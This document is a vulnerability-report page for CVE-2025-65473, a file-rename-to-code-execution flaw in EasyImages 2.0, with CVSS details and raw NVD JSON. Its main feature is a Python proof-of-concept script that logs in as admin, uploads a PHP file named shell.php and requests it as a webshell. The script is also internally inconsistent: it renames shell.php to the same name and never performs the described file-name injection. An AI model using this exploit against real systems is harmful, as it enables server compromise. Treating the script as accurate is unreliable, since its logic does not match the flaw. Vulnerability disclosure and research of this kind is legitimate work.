Security Vulnerability Report
中文
CVE-2025-65473 CVSS 9.1 CRITICAL

CVE-2025-65473

Published: 2025-12-11 17:15:58
Last Modified: 2025-12-15 19:28:47

Description

An arbitrary file rename vulnerability in the /admin/filer.php component of EasyImages 2.0 v2.8.6 and below allows attackers with Administrator privileges to execute arbitrary code via injecting a crafted payload into an uploaded file name.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:easyimages2.0_project:easyimages2.0:*:*:*:*:*:*:*:* - VULNERABLE
EasyImages 2.0 <= 2.8.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65473 PoC - EasyImages 2.0 Arbitrary File Rename to RCE Requirements: requests, authentication with admin credentials """ import requests import re import sys target_url = "http://target.com/easyimages" admin_user = "admin" admin_pass = "password" session = requests.Session() def login(): """Step 1: Authenticate as administrator""" login_url = f"{target_url}/admin/login.php" data = { 'username': admin_user, 'password': admin_pass } response = session.post(login_url, data=data) return 'login' not in response.url.lower() def upload_legit_image(): """Step 2: Upload a legitimate image file with PHP payload in filename""" upload_url = f"{target_url}/admin/filer.php?act=upload" files = { 'file': ('shell.php', b'<?php phpinfo(); ?>', 'image/jpeg') } response = session.post(upload_url, files=files) return response.text def rename_file_to_php(file_id, new_name): """Step 3: Rename the uploaded file to .php extension""" rename_url = f"{target_url}/admin/filer.php?act=rename" data = { 'id': file_id, 'newname': new_name, 'path': '/uploads/' } response = session.post(rename_url, data=data) return response.json() def execute_rce(): """Step 4: Execute the renamed PHP file via HTTP request""" webshell_url = f"{target_url}/uploads/shell.php" response = session.get(webshell_url) return response.text if __name__ == "__main__": print("[*] CVE-2025-65473 EasyImages 2.0 RCE PoC") if login(): print("[+] Login successful") upload_result = upload_legit_image() print(f"[+] File uploaded: {upload_result}") # Extract file ID and rename file_id = re.search(r'id=(\d+)', upload_result).group(1) rename_file_to_php(file_id, 'shell.php') print("[+] File renamed to shell.php") print("[+] Executing shell at:", f"{target_url}/uploads/shell.php") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65473", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:57.957", "lastModified": "2025-12-15T19:28:47.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file rename vulnerability in the /admin/filer.php component of EasyImages 2.0 v2.8.6 and below allows attackers with Administrator privileges to execute arbitrary code via injecting a crafted payload into an uploaded file name."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:easyimages2.0_project:easyimages2.0:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.8.6", "matchCriteriaId": "16A66E44-451D-43B8-970B-2CB98E4E11CC"}]}]}], "references": [{"url": "https://congsec.cn?id=20251103235610-7t4en7j", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gist.github.com/CongSec/107b9cab6dd1cb297a738f11e2b2dbb6", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}